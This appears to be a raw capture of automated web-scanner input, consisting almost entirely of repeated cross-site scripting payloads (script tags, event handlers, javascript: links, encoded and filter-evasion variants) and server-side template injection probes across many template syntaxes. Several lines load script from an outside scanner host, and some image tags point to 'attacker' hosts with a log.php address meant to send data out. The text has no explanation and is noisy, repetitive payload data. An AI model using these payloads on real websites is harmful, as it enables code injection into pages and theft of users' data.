\xf6<img zzz onmouseover=SCNx(99291) //\xf6>

98991*97996*98991*97996

<a HrEF=http://xss.bxss.me></a>

555&lt

<a HrEF=jaVaScRiPT:>

dfb{@math key=98991 method="multiply" operand=97996/}xca

\xf6<img zzz onmouseover=q7Ms(91061) //\xf6>

555<input autofocus onfocus=SCNx(9581)>

dfb{{{this}}}xca

555<input autofocus onfocus=q7Ms(9231)>

<a HrEF=http://xss.bxss.me></a>

555}body{zzz:Expre/**/SSion(4E5t(9668))}

<a HrEF=http://xss.bxss.me></a>

#{98991*97996*98991*97996}

<a HrEF=jaVaScRiPT:>

555B35UD <ScRiPt >4E5t(9702)</ScRiPt>

<a HrEF=jaVaScRiPT:>

dfb#{xca}=123

555}body{zzz:Expre/**/SSion(SCNx(9387))}

555}body{zzz:Expre/**/SSion(q7Ms(9286))}

555O7Xj2 <ScRiPt >q7Ms(9890)</ScRiPt>

555RHpvi <ScRiPt >SCNx(9428)</ScRiPt>

dfb{{'abcd'.toUpperCase()}}xca

555<WNRKY5>18FPX[!+!]</WNRKY5>

555<WWUKZK>VD1EF[!+!]</WWUKZK>

555<WXZEBJ>LPX9S[!+!]</WXZEBJ>

555<ifRAme sRc=9637.com></IfRamE>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ifRAme sRc=9744.com></IfRamE>

555<ifRAme sRc=9271.com></IfRamE>

555<aUH5xl4 x=9300>

555<awWLu1L x=9428>

dfb{{98991*97996}}xca

555<aYXimuw x=9399>

555<img sRc='http://attacker-9423/log.php?

555<img sRc='http://attacker-9430/log.php?

dfb[[${98991*97996}]]xca

555<img sRc='http://attacker-9919/log.php?

555<a2dA6BG<

555<ayjSvKa<

dfb__${98991*97996}__::.x

555<aGaEpIh<

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555'"()&%<zzz><ScRiPt >nJJd(9832)</ScRiPt>

'"()&%<zzz><ScRiPt >nJJd(9867)</ScRiPt>

555<ScRiPt >l8bj(9325)</ScRiPt>

555<WYP0VQ>CZUC0[!+!]</WYP0VQ>

5559542394

555<script>l8bj(9015)</script>

bfg8348\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8348

555<script>l8bj(9793)</script>9793

bfgx1889\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1889

555<ScR<ScRiPt>IpT>l8bj(9397)</sCr<ScRiPt>IpT>

<%={{={@{#{${dfb}}%>

555

555<ScRiPt >l8bj(9919)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9297></ScRiPt>

<th:t="${dfb}#foreach

555

555<ScRiPt >l8bj(9106)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<svg  \xa0onload=l8bj(9716)

555<isindex type=image src=1 onerror=l8bj(9700)>

555

555<iframe src='data:text/html

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

555<body onload=l8bj(9928)>

555<img src=//xss.bxss.me/t/dot.gif onload=l8bj(9297)>

dfb__${98991*97996}__::.x

555<img src=xyz OnErRor=l8bj(9726)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img/src=">" onerror=alert(9804)>

555<ScRiPt >nJJd(9298)</ScRiPt>

555<WFXVMG>QURZT[!+!]</WFXVMG>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6C%38%62%6A%289561%29%3C%2F%73%43%72%69%70%54%3E

555<script>nJJd(9044)</script>

555\u003CScRiPt\l8bj(9568)\u003C/sCripT\u003E

555<script>nJJd(9373)</script>9373

555&lt

\xf6<img zzz onmouseover=l8bj(96901) //\xf6>

555<ScR<ScRiPt>IpT>nJJd(9202)</sCr<ScRiPt>IpT>

555<ScRiPt >nJJd(9294)</ScRiPt>

555<input autofocus onfocus=l8bj(9378)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9667></ScRiPt>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555<ScRiPt >nJJd(9983)</ScRiPt>

555}body{zzz:Expre/**/SSion(l8bj(9420))}

555<svg  \xa0onload=nJJd(9595)

5555XomW <ScRiPt >l8bj(9306)</ScRiPt>

555<isindex type=image src=1 onerror=nJJd(9264)>

555'"()&%<zzz><ScRiPt >5GEc(9819)</ScRiPt>

555<WX7RAU>RS1VF[!+!]</WX7RAU>

555<iframe src='data:text/html

'"()&%<zzz><ScRiPt >5GEc(9275)</ScRiPt>

555<ifRAme sRc=9155.com></IfRamE>

555'"()&%<zzz><ScRiPt >PGuh(9407)</ScRiPt>

555<body onload=nJJd(9363)>

555<a4K2mUd x=9847>

5559159414

555<img src=//xss.bxss.me/t/dot.gif onload=nJJd(9681)>

555<img sRc='http://attacker-9016/log.php?

'"()&%<zzz><ScRiPt >PGuh(9508)</ScRiPt>

555<aplkGrr<

555<img src=xyz OnErRor=nJJd(9876)>

bfg10570\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10570

5559271986

555'"()&%<zzz><ScRiPt >8dgM(9719)</ScRiPt>

555<img/src=">" onerror=alert(9017)>

bfgx8666\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8666

bfg8616\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8616

'"()&%<zzz><ScRiPt >8dgM(9850)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6E%4A%4A%64%289525%29%3C%2F%73%43%72%69%70%54%3E

<%={{={@{#{${dfb}}%>

bfgx7690\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7690

555

<%={{={@{#{${dfb}}%>

5559091950

555\u003CScRiPt\nJJd(9245)\u003C/sCripT\u003E

<th:t="${dfb}#foreach

555&lt

bfg2188\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2188

555

555

bfgx6164\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6164

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

\xf6<img zzz onmouseover=nJJd(95721) //\xf6>

555

<%={{={@{#{${dfb}}%>

555

555<input autofocus onfocus=nJJd(9098)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

dfb{{98991*97996}}xca

555

<a HrEF=http://xss.bxss.me></a>

<th:t="${dfb}#foreach

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

555

<a HrEF=jaVaScRiPT:>

dfb__${98991*97996}__::.x

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(nJJd(9137))}

dfb[[${98991*97996}]]xca

555xrYrY <ScRiPt >nJJd(9934)</ScRiPt>

dfb__${98991*97996}__::.x

555

555<ScRiPt >5GEc(9814)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WYYVEG>VF97L[!+!]</WYYVEG>

555<W8HUOB>AGJWY[!+!]</W8HUOB>

"}}dfb{{98991*97996}}xca

555<script>5GEc(9737)</script>

"%}dfb{{98991*97996}}xca

555<ifRAme sRc=9840.com></IfRamE>

555<ScRiPt >PGuh(9614)</ScRiPt>

555<aZqotSY x=9146>

"}dfb{98991*97996}xca

555<WKEGMC>CAHCE[!+!]</WKEGMC>

555<script>5GEc(9725)</script>9725

555<script>PGuh(9564)</script>

555<img sRc='http://attacker-9499/log.php?

"}dfb${98991*97996}xca

555<ScR<ScRiPt>IpT>5GEc(9033)</sCr<ScRiPt>IpT>

555<aD0ZQdQ<

555<script>PGuh(9954)</script>9954

"}dfb#{98991*97996}xca

555<ScRiPt >5GEc(9137)</ScRiPt>

555<ScR<ScRiPt>IpT>PGuh(9089)</sCr<ScRiPt>IpT>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9948></ScRiPt>

"}dfb{#98991*97996}xca

555<ScRiPt >5GEc(9606)</ScRiPt>

"}dfb{@98991*97996}xca

555<ScRiPt >PGuh(9724)</ScRiPt>

555<svg  \xa0onload=5GEc(9691)

"}}dfb{{=98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9141></ScRiPt>

555<isindex type=image src=1 onerror=5GEc(9605)>

")dfb@(98991*97996)xca

555<ScRiPt >PGuh(9196)</ScRiPt>

555<iframe src='data:text/html

"%>dfb<%=98991*97996%>xca

555<body onload=5GEc(9239)>

555<svg  \xa0onload=PGuh(9760)

555<img src=//xss.bxss.me/t/dot.gif onload=5GEc(9229)>

"}dfb#set($x=98991*97996)${x}xca

555<img src=xyz OnErRor=5GEc(9700)>

"}dfb{{"abc"|title}}xca

555<isindex type=image src=1 onerror=PGuh(9928)>

555<img/src=">" onerror=alert(9223)>

555'"()&%<zzz><ScRiPt >Nrqw(9225)</ScRiPt>

"print("dfb" . 98991*97996 . "xca")

555<iframe src='data:text/html

%35%35%35%3C%53%63%52%69%50%74%20%3E%35%47%45%63%289033%29%3C%2F%73%43%72%69%70%54%3E

'"()&%<zzz><ScRiPt >Nrqw(9382)</ScRiPt>

555<body onload=PGuh(9725)>

"98991*97996*98991*97996

555\u003CScRiPt\5GEc(9138)\u003C/sCripT\u003E

555<img src=//xss.bxss.me/t/dot.gif onload=PGuh(9671)>

5559781997

555&lt

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

\xf6<img zzz onmouseover=5GEc(99801) //\xf6>

555<img src=xyz OnErRor=PGuh(9946)>

"}}}dfb{{{this}}}xca

bfg5400\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5400

"}#{98991*97996*98991*97996}

555<input autofocus onfocus=5GEc(9884)>

555<img/src=">" onerror=alert(9961)>

bfgx2794\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2794

"}dfb#{xca}=123

%35%35%35%3C%53%63%52%69%50%74%20%3E%50%47%75%68%289962%29%3C%2F%73%43%72%69%70%54%3E

<%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

555\u003CScRiPt\PGuh(9217)\u003C/sCripT\u003E

<a HrEF=jaVaScRiPT:>

"}}dfb{{'abcd'.toUpperCase()}}xca

555&lt

555

555}body{zzz:Expre/**/SSion(5GEc(9854))}

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

<th:t="${dfb}#foreach

\xf6<img zzz onmouseover=PGuh(90101) //\xf6>

555atomF <ScRiPt >5GEc(9841)</ScRiPt>

"}}dfb{{98991*97996}}xca

"}dfb[[${98991*97996}]]xca

555

555<WGF4JP>OEOZJ[!+!]</WGF4JP>

555<input autofocus onfocus=PGuh(9009)>

"dfb__${98991*97996}__::.x

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ifRAme sRc=9977.com></IfRamE>

555

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<avMag2m x=9506>

dfb{{98991*97996}}xca

<a HrEF=http://xss.bxss.me></a>

dfb[[${98991*97996}]]xca

'}}dfb{{98991*97996}}xca

555<img sRc='http://attacker-9358/log.php?

<a HrEF=jaVaScRiPT:>

dfb__${98991*97996}__::.x

'%}dfb{{98991*97996}}xca

555<aTKWwao<

555}body{zzz:Expre/**/SSion(PGuh(9040))}

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'}dfb{98991*97996}xca

555tsNUp <ScRiPt >PGuh(9023)</ScRiPt>

555<ScRiPt >Nrqw(9668)</ScRiPt>

'}dfb${98991*97996}xca

555<WCR6JF>QOTBG[!+!]</WCR6JF>

555<WL8YI4>BWD2P[!+!]</WL8YI4>

'}dfb#{98991*97996}xca

555<ifRAme sRc=9779.com></IfRamE>

555<script>Nrqw(9433)</script>

'}dfb{#98991*97996}xca

555<aRE3dFM x=9143>

555<script>Nrqw(9537)</script>9537

'}dfb{@98991*97996}xca

555<img sRc='http://attacker-9481/log.php?

555<ScR<ScRiPt>IpT>Nrqw(9131)</sCr<ScRiPt>IpT>

'}}dfb{{=98991*97996}}xca

555<ScRiPt >Nrqw(9682)</ScRiPt>

555<aj06q2H<

')dfb@(98991*97996)xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9472></ScRiPt>

'%>dfb<%=98991*97996%>xca

'}dfb#set($x=98991*97996)${x}xca

555<ScRiPt >Nrqw(9545)</ScRiPt>

555<svg  \xa0onload=Nrqw(9519)

'}dfb{{"abc"|title}}xca

555<isindex type=image src=1 onerror=Nrqw(9539)>

'print("dfb" . 98991*97996 . "xca")

555<iframe src='data:text/html

'98991*97996*98991*97996

555<body onload=Nrqw(9669)>

555<img src=//xss.bxss.me/t/dot.gif onload=Nrqw(9957)>

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<img src=xyz OnErRor=Nrqw(9386)>

'}}}dfb{{{this}}}xca

'}#{98991*97996*98991*97996}

555<img/src=">" onerror=alert(9342)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4E%72%71%77%289633%29%3C%2F%73%43%72%69%70%54%3E

'}dfb#{xca}=123

555\u003CScRiPt\Nrqw(9521)\u003C/sCripT\u003E

'}}dfb{{'abcd'.toUpperCase()}}xca

555&lt

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

\xf6<img zzz onmouseover=Nrqw(94911) //\xf6>

'}}dfb{{98991*97996}}xca

555<input autofocus onfocus=Nrqw(9457)>

<a HrEF=http://xss.bxss.me></a>

'}dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

'dfb__${98991*97996}__::.x

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(Nrqw(9320))}

1}}dfb{{98991*97996}}xca

555ZZMmF <ScRiPt >Nrqw(9719)</ScRiPt>

1%}dfb{{98991*97996}}xca

555<WBLTIE>PUQG5[!+!]</WBLTIE>

1}dfb{98991*97996}xca

555<ifRAme sRc=9954.com></IfRamE>

1}dfb${98991*97996}xca

555<aLwAsO7 x=9075>

555'"()&%<zzz><ScRiPt >FwTo(9281)</ScRiPt>

555'"()&%<zzz><ScRiPt >Rx8t(9615)</ScRiPt>

1}dfb#{98991*97996}xca

'"()&%<zzz><ScRiPt >FwTo(9110)</ScRiPt>

'"()&%<zzz><ScRiPt >Rx8t(9012)</ScRiPt>

555<img sRc='http://attacker-9816/log.php?

555'"()&%<zzz><ScRiPt >eX9M(9571)</ScRiPt>

1}dfb{#98991*97996}xca

5559875472

5559596157

555<aJAUKbl<

1}dfb{@98991*97996}xca

bfg10397\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10397

bfg3685\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3685

'"()&%<zzz><ScRiPt >eX9M(9188)</ScRiPt>

1}}dfb{{=98991*97996}}xca

bfgx6243\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6243

bfgx7433\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7433

5559585796

1)dfb@(98991*97996)xca

<%={{={@{#{${dfb}}%>

bfg1267\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1267

<%={{={@{#{${dfb}}%>

1%>dfb<%=98991*97996%>xca

<th:t="${dfb}#foreach

555

bfgx7547\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7547

1}dfb#set($x=98991*97996)${x}xca

555

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1}dfb{{"abc"|title}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

<th:t="${dfb}#foreach

1print("dfb" . 98991*97996 . "xca")

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

198991*97996*98991*97996

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

1}}}dfb{{{this}}}xca

555

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

1}#{98991*97996*98991*97996}

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

1}dfb#{xca}=123

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >FwTo(9764)</ScRiPt>

dfb[[${98991*97996}]]xca

1}}dfb{{'abcd'.toUpperCase()}}xca

555<ScRiPt >Rx8t(9064)</ScRiPt>

555<WDOXGR>RQNUB[!+!]</WDOXGR>

555<WASMWR>67BWY[!+!]</WASMWR>

555<script>FwTo(9159)</script>

dfb__${98991*97996}__::.x

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<script>Rx8t(9735)</script>

1}}dfb{{98991*97996}}xca

555<script>FwTo(9800)</script>9800

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>Rx8t(9159)</script>9159

555<ScR<ScRiPt>IpT>FwTo(9221)</sCr<ScRiPt>IpT>

555<ScRiPt >eX9M(9669)</ScRiPt>

555<ScRiPt >eX9M(9669)</ScRiPt>

1}dfb[[${98991*97996}]]xca

555<ScRiPt >FwTo(9508)</ScRiPt>

555<ScR<ScRiPt>IpT>Rx8t(9360)</sCr<ScRiPt>IpT>

555<WKCJ1C>3IUEX[!+!]</WKCJ1C>

1dfb__${98991*97996}__::.x

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9785></ScRiPt>

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>eX9M(9641)</script>

555<ScRiPt >Rx8t(9237)</ScRiPt>

555<script>eX9M(9641)</script>9641

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9679></ScRiPt>

555<ScRiPt >FwTo(9364)</ScRiPt>

555<ScRiPt >8dgM(9469)</ScRiPt>

555<ScR<ScRiPt>IpT>eX9M(9374)</sCr<ScRiPt>IpT>

555<svg  \xa0onload=FwTo(9408)

555<ScRiPt >Rx8t(9672)</ScRiPt>

555<ScRiPt >eX9M(9227)</ScRiPt>

555<isindex type=image src=1 onerror=FwTo(9311)>

555<W5WQGM>BYARF[!+!]</W5WQGM>

555<svg  \xa0onload=Rx8t(9591)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9055></ScRiPt>

555<script>8dgM(9291)</script>

555<iframe src='data:text/html

555<ScRiPt >eX9M(9881)</ScRiPt>

555<isindex type=image src=1 onerror=Rx8t(9526)>

555<script>8dgM(9546)</script>9546

555<body onload=FwTo(9015)>

555<iframe src='data:text/html

555<ScR<ScRiPt>IpT>8dgM(9135)</sCr<ScRiPt>IpT>

555<svg  \xa0onload=eX9M(9566)

555<body onload=Rx8t(9810)>

555<img src=//xss.bxss.me/t/dot.gif onload=FwTo(9613)>

555<ScRiPt >8dgM(9063)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=Rx8t(9834)>

555<img src=xyz OnErRor=FwTo(9106)>

555<isindex type=image src=1 onerror=eX9M(9135)>

555'"()&%<zzz><ScRiPt >1pT6(9714)</ScRiPt>

555<img/src=">" onerror=alert(9209)>

555<img src=xyz OnErRor=Rx8t(9792)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9247></ScRiPt>

'"()&%<zzz><ScRiPt >1pT6(9509)</ScRiPt>

555<iframe src='data:text/html

555<img/src=">" onerror=alert(9603)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%46%77%54%6F%289259%29%3C%2F%73%43%72%69%70%54%3E

555<body onload=eX9M(9800)>

555<ScRiPt >8dgM(9083)</ScRiPt>

5559655636

555<img src=//xss.bxss.me/t/dot.gif onload=eX9M(9477)>

555\u003CScRiPt\FwTo(9333)\u003C/sCripT\u003E

555<svg  \xa0onload=8dgM(9449)

%35%35%35%3C%53%63%52%69%50%74%20%3E%52%78%38%74%289347%29%3C%2F%73%43%72%69%70%54%3E

555<img src=xyz OnErRor=eX9M(9627)>

bfg7893\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7893

555<isindex type=image src=1 onerror=8dgM(9976)>

555&lt

bfgx3260\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3260

555<img/src=">" onerror=alert(9516)>

\xf6<img zzz onmouseover=FwTo(90241) //\xf6>

555<iframe src='data:text/html

555\u003CScRiPt\Rx8t(9305)\u003C/sCripT\u003E

<%={{={@{#{${dfb}}%>

555<input autofocus onfocus=FwTo(9330)>

555&lt

%35%35%35%3C%53%63%52%69%50%74%20%3E%65%58%39%4D%289393%29%3C%2F%73%43%72%69%70%54%3E

555<body onload=8dgM(9413)>

555

\xf6<img zzz onmouseover=Rx8t(90341) //\xf6>

<a HrEF=http://xss.bxss.me></a>

<th:t="${dfb}#foreach

555\u003CScRiPt\eX9M(9905)\u003C/sCripT\u003E

555<img src=//xss.bxss.me/t/dot.gif onload=8dgM(9345)>

555

555<input autofocus onfocus=Rx8t(9956)>

<a HrEF=jaVaScRiPT:>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555&lt

<a HrEF=http://xss.bxss.me></a>

555<img src=xyz OnErRor=8dgM(9182)>

555}body{zzz:Expre/**/SSion(FwTo(9969))}

<a HrEF=jaVaScRiPT:>

555

\xf6<img zzz onmouseover=eX9M(95751) //\xf6>

555<img/src=">" onerror=alert(9211)>

555}body{zzz:Expre/**/SSion(Rx8t(9498))}

555HYGk0 <ScRiPt >FwTo(9561)</ScRiPt>

dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%38%64%67%4D%289068%29%3C%2F%73%43%72%69%70%54%3E

555VU4zI <ScRiPt >Rx8t(9341)</ScRiPt>

555<input autofocus onfocus=eX9M(9276)>

dfb[[${98991*97996}]]xca

555<WMAII2>M2LFK[!+!]</WMAII2>

555<W22NZU>BFRDQ[!+!]</W22NZU>

<a HrEF=http://xss.bxss.me></a>

555\u003CScRiPt\8dgM(9541)\u003C/sCripT\u003E

555<ifRAme sRc=9171.com></IfRamE>

dfb__${98991*97996}__::.x

555<ifRAme sRc=9732.com></IfRamE>

<a HrEF=jaVaScRiPT:>

555&lt

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ao1LjgM x=9932>

555}body{zzz:Expre/**/SSion(eX9M(9965))}

555<ScRiPt >1pT6(9708)</ScRiPt>

555<aYhLkN0 x=9556>

\xf6<img zzz onmouseover=8dgM(91991) //\xf6>

55520OSD <ScRiPt >eX9M(9400)</ScRiPt>

555<img sRc='http://attacker-9267/log.php?

555<WJVIRU>XP0NU[!+!]</WJVIRU>

555<img sRc='http://attacker-9092/log.php?

555<WKWUAQ>QAJGG[!+!]</WKWUAQ>

555<input autofocus onfocus=8dgM(9610)>

555<awjQQED<

555<ifRAme sRc=9008.com></IfRamE>

555<script>1pT6(9350)</script>

<a HrEF=http://xss.bxss.me></a>

555<aFiVd0P<

555<script>1pT6(9641)</script>9641

555<aGxP1SW x=9341>

<a HrEF=jaVaScRiPT:>

555<ScR<ScRiPt>IpT>1pT6(9305)</sCr<ScRiPt>IpT>

555<img sRc='http://attacker-9173/log.php?

555<ScRiPt >1pT6(9514)</ScRiPt>

555}body{zzz:Expre/**/SSion(8dgM(9949))}

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9598></ScRiPt>

555<ahBaa6Q<

555znchx <ScRiPt >8dgM(9119)</ScRiPt>

555<ScRiPt >1pT6(9847)</ScRiPt>

555<WEDRUN>URDG2[!+!]</WEDRUN>

555<svg  \xa0onload=1pT6(9033)

555<ifRAme sRc=9193.com></IfRamE>

555<isindex type=image src=1 onerror=1pT6(9253)>

555<aoBraXC x=9797>

555<iframe src='data:text/html

555<body onload=1pT6(9344)>

555<img sRc='http://attacker-9935/log.php?

555<aAlpCq6<

555<img src=//xss.bxss.me/t/dot.gif onload=1pT6(9271)>

555<img src=xyz OnErRor=1pT6(9834)>

555<img/src=">" onerror=alert(9487)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%31%70%54%36%289843%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\1pT6(9988)\u003C/sCripT\u003E

555&lt

\xf6<img zzz onmouseover=1pT6(95751) //\xf6>

555<input autofocus onfocus=1pT6(9970)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(1pT6(9539))}

555AJAxE <ScRiPt >1pT6(9411)</ScRiPt>

555<WDUSLC>HQXIZ[!+!]</WDUSLC>

555'"()&%<zzz><ScRiPt >6DKh(9708)</ScRiPt>

555<ifRAme sRc=9978.com></IfRamE>

'"()&%<zzz><ScRiPt >6DKh(9377)</ScRiPt>

555<a4hbZ6P x=9007>

5559468485

555<img sRc='http://attacker-9416/log.php?

bfg4794\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4794

555<aPQYkX4<

bfgx1708\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1708

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555'"()&%<zzz><ScRiPt >UlCJ(9639)</ScRiPt>

555

'"()&%<zzz><ScRiPt >UlCJ(9173)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555'"()&%<zzz><ScRiPt >AtgV(9336)</ScRiPt>

5559302533

555

555'"()&%<zzz><ScRiPt >jdtv(9134)</ScRiPt>

dfb{{98991*97996}}xca

'"()&%<zzz><ScRiPt >AtgV(9930)</ScRiPt>

bfg8669\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8669

5559426685

'"()&%<zzz><ScRiPt >jdtv(9236)</ScRiPt>

bfgx7052\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7052

5559685135

dfb[[${98991*97996}]]xca

bfg2496\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2496

dfb__${98991*97996}__::.x

bfg3144\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3144

<%={{={@{#{${dfb}}%>

bfgx3313\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3313

555

bfgx2719\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2719

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >6DKh(9866)</ScRiPt>

555<W6ZAGH>6WCXO[!+!]</W6ZAGH>

555

555

<th:t="${dfb}#foreach

555<script>6DKh(9410)</script>

555

dfb{{98991*97996}}xca

555

555<script>6DKh(9680)</script>9680

dfb[[${98991*97996}]]xca

<th:t="${dfb}#foreach

555<ScR<ScRiPt>IpT>6DKh(9636)</sCr<ScRiPt>IpT>

555<ScRiPt >6DKh(9360)</ScRiPt>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555'"()&%<zzz><ScRiPt >zIpJ(9852)</ScRiPt>

dfb__${98991*97996}__::.x

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9120></ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

'"()&%<zzz><ScRiPt >zIpJ(9509)</ScRiPt>

dfb{{98991*97996}}xca

555

555<ScRiPt >6DKh(9334)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb[[${98991*97996}]]xca

5559283296

555<svg  \xa0onload=6DKh(9998)

"}}dfb{{98991*97996}}xca

555<ScRiPt >UlCJ(9630)</ScRiPt>

dfb__${98991*97996}__::.x

555'"()&%<zzz><ScRiPt >OyrX(9133)</ScRiPt>

"%}dfb{{98991*97996}}xca

bfg8107\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8107

555<isindex type=image src=1 onerror=6DKh(9170)>

555<W868CZ>0DXMH[!+!]</W868CZ>

'"()&%<zzz><ScRiPt >OyrX(9913)</ScRiPt>

"}dfb{98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

5559419927

bfgx5696\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5696

555<script>UlCJ(9433)</script>

555<iframe src='data:text/html

"}dfb${98991*97996}xca

bfg6703\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6703

<%={{={@{#{${dfb}}%>

555<ScRiPt >jdtv(9410)</ScRiPt>

555<script>UlCJ(9946)</script>9946

555<body onload=6DKh(9216)>

"}dfb#{98991*97996}xca

555

555<img src=//xss.bxss.me/t/dot.gif onload=6DKh(9871)>

bfgx3189\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3189

555<WJHYJ5>E9X5C[!+!]</WJHYJ5>

555<ScR<ScRiPt>IpT>UlCJ(9807)</sCr<ScRiPt>IpT>

"}dfb{#98991*97996}xca

<th:t="${dfb}#foreach

555<img src=xyz OnErRor=6DKh(9628)>

<%={{={@{#{${dfb}}%>

"}dfb{@98991*97996}xca

555<ScRiPt >UlCJ(9034)</ScRiPt>

555<script>jdtv(9682)</script>

555

555<img/src=">" onerror=alert(9762)>

555'"()&%<zzz><ScRiPt >LMxL(9577)</ScRiPt>

555

dfb{{98991*97996}}xca

555<script>jdtv(9900)</script>9900

'"()&%<zzz><ScRiPt >LMxL(9882)</ScRiPt>

"}}dfb{{=98991*97996}}xca

<th:t="${dfb}#foreach

